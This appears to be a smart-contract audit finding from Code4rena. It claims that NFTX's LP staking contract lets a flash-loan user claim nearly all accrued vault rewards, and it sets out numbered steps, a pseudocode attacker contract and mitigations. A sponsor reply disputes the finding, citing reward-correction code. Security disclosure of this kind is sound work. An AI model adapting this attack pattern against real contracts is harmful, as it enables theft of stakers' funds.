NFTXLPStaking Is Subject To A Flash Loan Attack That Can Steal Nearly All Rewards/Fees That Have Accrued For A Particular Vault

[code423n4]

Handle

jvaqa

Vulnerability details

NFTXLPStaking Is Subject To A Flash Loan Attack That Can Steal Nearly All Rewards/Fees That Have Accrued For A Particular Vault

Impact

The LPStaking contract does not require that a stake be locked for any period of time.

The LPStaking contract also does not track how long your stake has been locked.

So an attacker Alice can stake, claim rewards, and unstake, all in one transaction.

If Alice utilizes a flash loan, then she can claim nearly all of the rewards for herself, leaving very little left for the legitimate stakers.

The fact that the NFTXVaultUpgradeable contract contains a native flashLoan function makes this attack that much easier, although it would still be possible even without that due to flashloans on Uniswap, or wherever else the nftX token is found.

Since a flash loan will easily dwarf all of the legitimate stakers' size of stake, the contract will erroneously award nearly all of the rewards to Alice.

Proof of Concept

(1) Wait until an NFTX vault has accrued any significant amount of fees/rewards
(2) FlashLoanBorrow a lot of ETH using any generic flash loan provider
(3) FlashLoanBorrow a lot of nftx-vault-token using NFTXVaultUpgradeable.flashLoan()
(4) Deposit the ETH and nftx-vault-token's into Uniswap for Uniswap LP tokens by calling Uniswap.addLiquidity()
(5) Stake the Uniswap LP tokens in NFTXLPStaking by calling NFTXLPStaking.deposit()
(6) Claim nearly all of the rewards that have accrued for this vault due to how large the flashLoaned deposit is relative to all of the legitimate stakes by calling NFTXLPStaking.claimRewards()
(7) Remove LP tokens from NFTXLPStaking by calling NFTXLPStaking.exit();
(8) Withdraw ETH and nftx-vault-token's by calling Uniswap.removeLiquidity();
(9) Pay back nftx-vault-token flash loan
(10) Pay back ETH flash loan

Here is an example contract that roughly implements these steps in pseudocode:

contract AliceAttackContract {

bytes32 constant private NFTX_FLASH_LOAN_RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");


uint256 largeAmountOfEther = 10_000 ether;


uint256 targetVaultId;


address targetVaultAddress;


// attackVaultWithId calls onEthFlashLoan(), which subsequently calls NFTX's onFlashLoan() (flashloans use a callback structure in order to revert if the flash loan is not paid back).

function attackVaultWithId(uint256 vaultId, address vaultAddress) external {

    targetVaultId = vaultId;
    targetVaultAddress = vaultAddress;

    EthFlashLoanProvider.borrowFlashLoan(largeAmountOfEther); /* this calls onEthFlashLoan() in between mint and burn */

}


// onEthFlashLoan is called by the line EthFlashLoanProvider.borrowFlashLoan() in attackVaultWithId() (flashloans use a callback structure in order to revert if the flash loan is not paid back).

function onEthFlashLoan(...) external {

    NFTXVaultUpgradeable(vaultAddress).flashLoan( /* this calls onFlashLoan() in between mint and burn */
        address(this),
        vaultAddress,
        NFTXVaultUpgradeable(vaultAddress).maxFlashLoan(vaultAddress),
        ''
    );

}

// onFlashLoan is called by the line NFTXVaultUpgradeable.flashLoan() in onEthFlashLoan() (flashloans use a callback structure in order to revert if the flash loan is not paid back).
function onFlashLoan(address sender, address token, uint256 amount, uint256 fee, bytes data) external {

    UniswapRouter(uniswapRouterAddress).addLiquidity(token, etherAddress, amount, ...);

    uint256 lpTokenBalance = ERC20(uniswapLPAddress).balanceOf(address(this));
    ERC20(token).approve(nftxLpStakingAddress, lpTokenBalance);
    NFTXLPStaking(nftxLpStakingAddress).deposit(targetVaultId, lpTokenBalance);

    NFTXLPStaking(nftxLpStakingAddress).claimRewards(targetVaultId);

    NFTXLPStaking(nftxLpStakingAddress).exit(targetVaultId);

    UniswapRouter(uniswapRouterAddress).removeLiquidity(token, etherAddress, amount, ...);

    return NFTX_FLASH_LOAN_RETURN_VALUE;
}

}

Recommended Mitigation Steps

Require that staked LP tokens be staked for a particular period of time before they can be removed. Although a very short time frame (a few blocks) would avoid flash loan attacks, this attack could still be performed over the course of a few blocks less efficiently. Ideally, you would want the rewards to reflect the product of the amount staked and the duration that they've been staked, as well as having a minimum time staked.

Alternatively, if you really want to allow people to have the ability to remove their stake immediately, then only allow rewards to be claimed for stakes that have been staked for a certain period of time. Users would still be able to remove their LP tokens, but they could no longer siphon off rewards immediately.

[0xKiwi]

After looking at the code, this is not possible. The dividend token code takes into consideration the current unclaimed rewards and when a deposit is made that value is deducted.

[cemozerr]

@0xKiwi do you mind showing where in code that occurs?

[0xKiwi]

Hello @cemozerr, sorry for the late response.

You can see the code here: https://github.com/code-423n4/2021-05-nftx/blob/main/nftx-protocol-v2/contracts/solidity/token/RewardDistributionTokenUpgradeable.sol#L208

When shares are minted (when a user deposits), their "reward corrections" are adjusted for the amount that was deposited according to the amount of pending rewards. This means it doesn't matter how large your deposit is. You will not have anything to claim until rewards are distributed to you while you are deposited.

[levixie]

OMG, it happened as @code423n4 mention with tn apecoin airdrop: https://mirror.xyz/01dcat.eth/OGZ1FmwBWtllxVTzvOQOJhUUUOqUHOEVxLPYxGcHaIg